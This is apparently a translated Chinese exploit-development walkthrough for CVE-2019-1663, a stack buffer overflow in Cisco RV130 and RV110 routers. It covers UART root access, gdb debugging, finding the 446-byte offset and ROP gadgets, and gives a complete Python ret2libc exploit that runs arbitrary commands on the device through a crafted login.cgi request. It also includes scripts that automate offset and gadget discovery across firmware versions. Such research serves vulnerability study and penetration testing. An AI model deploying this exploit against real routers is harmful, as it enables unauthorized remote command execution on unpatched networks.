几个月前,Pentest Partners网站发表了一篇文章,对影响思科的多款低端设备(RV110、RV130和RV225)的堆栈缓冲区溢出漏洞CVE-2019-1663进行了详细的介绍。
实际上,我一直非常怀念分析ARM平台的二进制漏洞的美好时光,这下终于有机会重温旧梦了。
获取一个真实的目标
最初,我是通过一个由QEMU、解压缩的固件和libnvram搭建的平台上复现这个漏洞的攻击过程的,遗憾的是,在这个平台上开发的漏洞利用代码是无法应用于真正的思科设备上的,因为在这个平台上面计算出来的偏移值不适用于物理设备。因此,我在eBay上订购了一个二手的思科设备。
对于思科设备来说,我还是比较熟悉的,所以,我觉得可以轻松地通过SSH或控制台电缆在设备上获得一个shell,尴尬的是,该死的RV130设备既不支持SSH也不支持控制台电缆。
为了解决这个问题,我打开了机箱并找到了UART引脚排列,因此,我们可以使用[@XipiterSec]提供的Shikra(一种基于FTDI32的设备)进行连接。
由于手头上面没有逻辑分析仪,所以我通过反复试验确定了其波特率(正确的波特率为38400)。一旦设备启动,我们就能得到梦寐以求的具有root权限的shell了!
U-Boot 2008.10-mpcore-svn4057 (Mar 30 2017 - 17:03:34) Cavium Networks CNS3XXX SDK v1.2-2515 CNS3420vb2x parallel flash CyberTan U-Boot Version: 1.0.3.28 CPU: Cavium Networks CNS3000 ID Code: 410fb024 (Part number: 0xB02, Revision number: 4) CPU ID: 900 Chip Version: c Boot from parallel flash --boot log-- BusyBox v1.7.2 (2017-03-30 17:11:36 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. # id uid=0 gid=0 # uname -avr Linux RV130W 2.6.31.1-cavm1 #1 Thu Mar 30 17:04:29 CST 2017 armv6l unknown
下面,我们开始复现该漏洞!
复现漏洞
在Pentest Partners的文章中,给出了一个如下所示的示例请求:
POST /login.cgi HTTP/1.1 Host: 192.168.22.158 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://192.168.22.158/ Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 571 submit_button=login&submit_type=&gui_action=&default_login=1&wait_time=0&change_action=&enc=1 &user=cisco&pwd=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZZZZ &sel_lang=EN
首先,我们需要在自己的设备上安装gdbserver,并将其附加到我们正在运行的http服务器上面。为此,我们从Hugsy(GEF的创建者)的[repo](https://github.com/hugsy/gdb-static/)中下载了适用于ARMv6l平台的静态链接版本的gdbserver。
# cd /tmp/# wget http://192.168.1.100:8000/gdbserverConnecting to 192.168.1.100:8000 (192.168.1.100:8000) gdbserver 100% |*******************************| 1599k --:--:-- ETA # chmod +x gdbserver# ps w | grep httpd 808 0 5028 S httpd 816 0 5092 S httpd -S # ./gdbserver --attach :1234 816Attached; pid = 816 Listening on port 1234
现在,我们可以使用gdb-multiarch远程连接到gdbserver。此外,我们还可以使用以下GDB初始化文件来简化操作:
set architecture arm set follow-fork-mode child file /home/quentin/research/RV130/squashfs-root/usr/sbin/httpd set solib-search-path /home/quentin/research/RV130/squashfs-root/lib target remote 192.168.1.1:1234
提交示例请求后,您将看到如下所示的segfault错误。漏洞被成功复现了!
识别缓冲区长度
要想知道让strcpy函数所用的缓冲区发生溢出需要多少字节的填充物,我们可以使用gef程序的“pattern create”和“pattern search”命令。
gef➤ pattern create 512 [+] Generating a pattern of 512 bytes aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa zaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab zaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac zaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad zaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae zaafbaafcaaf [+] Saved as '$_gef0'
下面使用这个模式来触发崩溃:
curl -i -k -X POST https://192.168.1.1/login.cgi -d 'submit_button=login&submit_type=&gui_action=&default_login=1&wait_time=0&change_action=&enc=1&user=cisco&pwd=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf&sel_lang=EN'
当这个可执行文件尝试运行地址0x616d6560处的指令时,就会发生崩溃:
gef➤ c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x616d6560 in ?? ()
现在,我们可以通过搜索相应的模式来确定偏移量。请注意,这里搜索的模式是“0x616d6561”而非“0x616d6560”,因为当最低有效位为偶数时,ARM CPU讲切换到Thumb模式。
gef➤ pattern search 0x616d6561 [+] Searching '0x616d6561' [+] Found at offset 446 (little-endian search) likely
现在可以确定,我们的exploit payload的填充字节的长度为446字节时,以便才能使缓冲区发生溢出并控制程序计数器。
Ret2Libc
我们的第一个exploit将利用“return to libc”技术,该技术背后的思想很简单:与先执行ROP链来让栈变成可执行的,然后使程序计数器指向栈以执行shellcode代码不同,我们只需设法让r0(第一个参数)指向栈,然后直接调用“system”函数即可。
为此,我们需要获得:
– system函数执行映射时libc的基址
– system函数在libc中的偏移地址
– 一个将堆栈指针值复制到r0寄存器的gadget
– 一个用于从栈中弹出程序计数器以调用system函数的gadget
通过实时调试会话,我们可以轻松找到所需的地址。首先,我们可以通过调用vmmap来查看内存映射情况。正如我们在下面的输出中所看到的,libc被映射到0x357fb000地址。
gef➤ vmmap Start End Offset Perm Path 0x00008000 0x00099000 0x00000000 r-x /usr/sbin/httpd 0x000a0000 0x000a9000 0x00090000 rwx /usr/sbin/httpd 0x000a9000 0x000de000 0x00000000 rwx [heap] 0x35556000 0x35557000 0x00000000 rwx 0x35558000 0x3555d000 0x00000000 r-x /lib/ld-uClibc.so.0 0x35564000 0x35565000 0x00004000 r-x /lib/ld-uClibc.so.0 0x35565000 0x35566000 0x00005000 rwx /lib/ld-uClibc.so.0 0x35566000 0x3556d000 0x00000000 r-x /usr/lib/libnvram.so 0x3556d000 0x35574000 0x00000000 --- 0x35574000 0x35575000 0x00006000 rwx /usr/lib/libnvram.so 0x35575000 0x3557d000 0x00000000 rwx 0x3557d000 0x355d7000 0x00000000 r-x /usr/lib/libshared.so 0x355d7000 0x355de000 0x00000000 --- 0x355de000 0x355e4000 0x00059000 rwx /usr/lib/libshared.so 0x355e4000 0x355ed000 0x00000000 rwx 0x355ed000 0x35608000 0x00000000 r-x /usr/lib/libcbt.so 0x35608000 0x35610000 0x00000000 --- 0x35610000 0x35611000 0x0001b000 rwx /usr/lib/libcbt.so 0x35611000 0x35612000 0x00000000 r-x /usr/lib/librogueap.so 0x35612000 0x3561a000 0x00000000 --- 0x3561a000 0x3561b000 0x00001000 rwx /usr/lib/librogueap.so 0x3561b000 0x35672000 0x00000000 r-x /usr/lib/libssl.so.1.0.0 0x35672000 0x3567a000 0x00000000 --- 0x3567a000 0x35680000 0x00057000 rwx /usr/lib/libssl.so.1.0.0 0x35680000 0x357dd000 0x00000000 r-x /usr/lib/libcrypto.so.1.0.0 0x357dd000 0x357e4000 0x00000000 --- 0x357e4000 0x357f9000 0x0015c000 rwx /usr/lib/libcrypto.so.1.0.0 0x357f9000 0x357fb000 0x00000000 rwx 0x357fb000 0x35858000 0x00000000 r-x /lib/libc.so.0 0x35858000 0x35860000 0x00000000 --- 0x35860000 0x35861000 0x0005d000 r-x /lib/libc.so.0 0x35861000 0x35862000 0x0005e000 rwx /lib/libc.so.0 0x35862000 0x35867000 0x00000000 rwx 0x35867000 0x35869000 0x00000000 r-x /lib/libdl.so.0 0x35869000 0x35870000 0x00000000 --- 0x35870000 0x35871000 0x00001000 r-x /lib/libdl.so.0 0x35871000 0x35872000 0x00000000 rwx 0x35872000 0x3587c000 0x00000000 r-x /lib/libgcc_s.so.1 0x3587c000 0x35883000 0x00000000 --- 0x35883000 0x35884000 0x00009000 rwx /lib/libgcc_s.so.1 0x35884000 0x35904000 0x00000000 rwx /SYSV00000457(deleted) 0x35904000 0x35984000 0x00000000 r-x /SYSV00000457(deleted) 0x9efaa000 0x9efbf000 0x00000000 rw- [stack]
要获得system函数的偏移量,我们可以使用radare2,具体如下所示:
radare2 -A libc.so.0 [x] Analyze all flags starting with sym. and entry0 (aa) [Value from 0x00000000 to 0x0005cfec [x] Analyze len bytes of instructions for references (aar) [x] Analyze function calls (aac) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [0x0000bbc0]> afl | grep system 0x0003ed84 1 72 sym.svcerr_systemerr 0x0004d144 7 328 sym.system
或者使用下列命令:
gef➤ b system Breakpoint 1 at 0x35848144
来自GDB的值只是该函数的偏移地址(也就是说,需要将偏移地址0x0004d144与libc库的映射地址0x357fb000相加后,才是该函数的地址)。
现在,我们已经找到了system函数的地址,接下来,我们开始寻找所需的gadget。为此,这里将借助于Ropper。
(ropper)> file libc.so.0 [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] File loaded. (libc.so.0/ELF/ARM)> search mov r0, sp [INFO] Searching for gadgets: mov r0, sp [INFO] File: libc.so.0 0x00010d08: mov r0, sp; bl #0xba64; add sp, sp, #0x14; pop {r4, r5, r6, r7, pc}; 0x00028700: mov r0, sp; bl #0xba64; mov r0, r4; add sp, sp, #0x10; pop {r4, r5, r6, pc}; 0x00028764: mov r0, sp; bl #0xba64; mov r0, r4; add sp, sp, #0x14; pop {r4, r5, pc}; 0x00018964: mov r0, sp; bl #0xba64; mov r0, r4; add sp, sp, #0x14; pop {r4, r5, r6, r7, pc}; 0x0002868c: mov r0, sp; bl #0xba64; mov r0, r6; add sp, sp, #0x14; pop {r4, r5, r6, r7, pc}; 0x0004ab0c: mov r0, sp; bl #0xf170; add sp, sp, #0xc; pop {r4, r5, pc}; 0x00041308: mov r0, sp; blx r2; 0x00041308: mov r0, sp; blx r2; add sp, sp, #0x1c; ldm sp!, {pc}; mov r0, #1; bx lr; 0x00037884: mov r0, sp; blx r3; --snip--
在我看来,最吸引人的是位于0x00041308处的代码,这意味着我们需要找到一个能把r2从堆栈中弹出的gadget。
(libc.so.0/ELF/ARM)> search pop {r2 [INFO] Searching for gadgets: pop {r2 [INFO] File: libc.so.0 0x00052620: pop {r2, r3}; bx lr; 0x00052620: pop {r2, r3}; bx lr; push {r1, lr}; mov r0, #8; bl #0xbba8; pop {r1, pc};
好像没有那么吸引人,让我们切换到Thumb模式,看看是否有什么新发现:
(libc.so.0/ELF/ARM)> arch ARMTHUMB [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% (libc.so.0/ELF/ARMTHUMB)> search pop {r2 [INFO] Searching for gadgets: pop {r2 [INFO] File: libc.so.0 0x000060b8 (0x000060b9): pop {r2, r3, r4, r5, pc}; 0x0003d1bc (0x0003d1bd): pop {r2, r3, r4, r5, r6, pc}; 0x00020b98 (0x00020b99): pop {r2, r3, r4, r5, r6, r7, pc}; 0x00053294 (0x00053295): pop {r2, r3, r4, r5, r7, pc}; 0x0002a0e4 (0x0002a0e5): pop {r2, r3, r4, r6, r7, pc}; 0x00027b80 (0x00027b81): pop {r2, r3, r4, r7, pc}; 0x00020bd8 (0x00020bd9): pop {r2, r3, r5, r6, r7, pc}; 0x0003d11c (0x0003d11d): pop {r2, r3, r5, r7, pc}; 0x00020e38 (0x00020e39): pop {r2, r4, r6, pc}; 0x00006eb8 (0x00006eb9): pop {r2, r5, r6, r7, pc}; 0x00020e78 (0x00020e79): pop {r2, r6, pc}; 0x000209f6 (0x000209f7): pop.w {r2, r6, r7, sl, ip, lr}; movs r4, r0; lsls r4, r1, #0x1d; movs r0, r0; blx lr; 0x000443ae (0x000443af): pop.w {r2, r6, r8, sb, fp, ip}; movs r2, r0; strh r4, [r0, r7]; movs r0, r0; blx lr;
好多了。我将选用位于0x00020e79地址处的gadget。
最小化的可行漏洞利用代码
因此,我们可以用Python编写一个快餐式的最小化可行产品:
#!/usr/bin/env python """ Exploit for Cisco RV130 stack-based buffer overflow (CVE-2019-1663). This piece of code will execute a command on the device by using ret2libc technique. """ import struct import sys import requests offset = 446 libc_base_addr = 0x357fb000 system_offset = 0x0004d144 gadget1 = 0x00020e79 # pop {r2, r6, pc}; gadget2 = 0x00041308 # mov r0, sp; blx r2; def exploit(ip, cmd): buf = "A" * offset buf += struct.pack("<L", libc_base_addr + gadget1) buf += struct.pack("<L", libc_base_addr + system_offset) # r2 buf += "XXXX" # r6 buf += struct.pack("<L", libc_base_addr + gadget2) #pc buf += cmd params = { "submit_button": "login", "submit_type": None, "gui_action": None, "wait_time": 0, "change_action": None, "enc": 1, "user": "cisco", "pwd": buf, "sel_lang": "EN" } requests.post("https://%s/login.cgi" % ip, data=params, verify=False) if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: %s ip cmd" % (sys.argv[0])) sys.exit(1) exploit(sys.argv[1], sys.argv[2])
上面的漏洞利用代码将执行下列操作:
首先,使用gadget1的地址覆盖程序计数器。当执行gadget1 (pop {r2, r6, pc})时,堆栈的布局情况如下所示:
这意味着r2寄存器中存放的是system函数的地址,而r6寄存器存放的是一个随机地址,程序计数器中存放的是gadget2的地址,也就是转移程序流程的目标地址。
执行gadget2时,堆栈的布局如下所示:
然后,我们就可以跳转到r2寄存器保存的system函数的地址处,并以r0作为该函数的参数。由于r0指向堆栈,所以,system函数将执行我们的命令。
实现Exploit编写的流水线化
对于RV130这款设备来说,这个漏洞的利用代码还是很容易编写的,因为不同的版本之间libc.so基本没有发生变化,这意味着对于所有的固件版本而言,所有偏移地址都是相同的:
find -name "libc.so.0" -exec sha1sum {} \; a9cc842a0641dff43765c9110167316598252a5f ./RV130X_FW_1.0.0.21/lib/libc.so.0 a9cc842a0641dff43765c9110167316598252a5f ./RV130X_FW_1.0.1.3/lib/libc.so.0 a9cc842a0641dff43765c9110167316598252a5f ./RV130X_FW_1.0.2.7./lib/libc.so.0 a9cc842a0641dff43765c9110167316598252a5f ./RV130X_FW_1.0.3.14/lib/libc.so.0 a9cc842a0641dff43765c9110167316598252a5f ./RV130X_FW_1.0.3.16/lib/libc.so.0 a9cc842a0641dff43765c9110167316598252a5f ./RV130X_FW_1.0.3.22/lib/libc.so.0 a9cc842a0641dff43765c9110167316598252a5f ./RV130X_FW_1.0.3.28/lib/libc.so.0 a9cc842a0641dff43765c9110167316598252a5f ./RV130X_FW_1.0.3.44/lib/libc.so.0 a9cc842a0641dff43765c9110167316598252a5f ./RV130X_FW_1.0.3.45/lib/libc.so.0 a9cc842a0641dff43765c9110167316598252a5f ./RV130X_FW_1.0.3.51/lib/libc.so.0
然而,当修改Metasploit模块以支持RV110W和RV215W设备时,我需要不断重复一项任务:为每个固件版本寻找对应的偏移地址。
因此,我通过radare2和Ropper的脚本功能编写了两个脚本来替我完成这项任务。
第一个脚本可以根据提供的libc文件自动返回system函数的地址:
#!/usr/bin/env python import sys import json import r2pipe import os def get_system_offset(executable): """ Args: executable(str): path to ELF file Returns: offset(int): address of system """ r = r2pipe.open(executable, flags=['-2']) r.cmd('aa') functions = json.loads(r.cmd("aflj")) for f in functions: if f['name'] == 'sym.system': return hex(f['offset']) r.quit() if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: {} executable_path".format(sys.argv[0])) sys.exit(-1) print("{} - {}".format(sys.argv[1], get_system_offset(sys.argv[1])))
下面是该脚本在所有RV110固件版本中找到的system函数的偏移地址:
find -type f -name 'libc.so.0' -exec ./find_system.py {} \; ./firmwares/RV110W_FW_1.1.0.9/lib/libc.so.0 - 0x50d40 ./firmwares/RV110W_FW_1.2.0.9/lib/libc.so.0 - 0x4c7e0 ./firmwares/RV110W_FW_1.2.0.10/lib/libc.so.0 - 0x4c7e0 ./firmwares/RV110W_FW_1.2.1.4/lib/libc.so.0 - 0x4c7e0 ./firmwares/RV110W_FW_1.2.1.7/lib/libc.so.0 - 0x4c7e0 ./firmwares/RV110W_FW_1.2.2.1/lib/libc.so.0 - 0x50d40 ./firmwares/RV110W_FW_1.2.2.4/lib/libc.so.0 - 0x4c7e0
第二个脚本可用于在文件中查找给定gadget的偏移地址:
#!/usr/bin/env python from ropper import RopperService import sys # not all options need to be given options = {'color' : False, # if gadgets are printed, use colored output: default: False 'badbytes': '00', # bad bytes which should not be in addresses or ropchains; default: '' 'all' : False, # Show all gadgets, this means to not remove double gadgets; default: False 'inst_count' : 6, # Number of instructions in a gadget; default: 6 'type' : 'all', # rop, jop, sys, all; default: all 'detailed' : False} # if gadgets are printed, use detailed output; default: False rs = RopperService(options) ##### change options ###### rs.options.color = True rs.options.badbytes = '00' rs.options.badbytes = '' rs.options.all = True ##### open binaries ###### # it is possible to open multiple files rs.addFile(sys.argv[1], arch='MIPS') # load gadgets for all opened files rs.loadGadgetsFor() result_dict = rs.searchdict(search=sys.argv[2]) for file, gadgets in result_dict.items(): print file for gadget in gadgets: print hex(gadget.address), gadget
下面是该脚本的执行结果:
find -name "libcrypto.so" -exec ./search_gadget.py {} 'addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;' \; ./RV110W_FW_1.1.0.9/usr/lib/libcrypto.so 0x167c8cL 0x00167c8c: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; ./RV110W_FW_1.2.0.9/usr/lib/libcrypto.so 0x167c4cL 0x00167c4c: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; ./RV110W_FW_1.2.0.10/usr/lib/libcrypto.so 0x151fbcL 0x00151fbc: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; ./RV110W_FW_1.2.1.4/usr/lib/libcrypto.so 0x5059cL 0x0005059c: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; ./RV110W_FW_1.2.1.7/usr/lib/libcrypto.so 0x3e7dcL 0x0003e7dc: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
小结
我们希望本文对读者能够有所帮助。对于想要利用该漏洞的渗透测试人员来说,还可以使用支持所有受影响的设备和固件版本的Metasploit模块。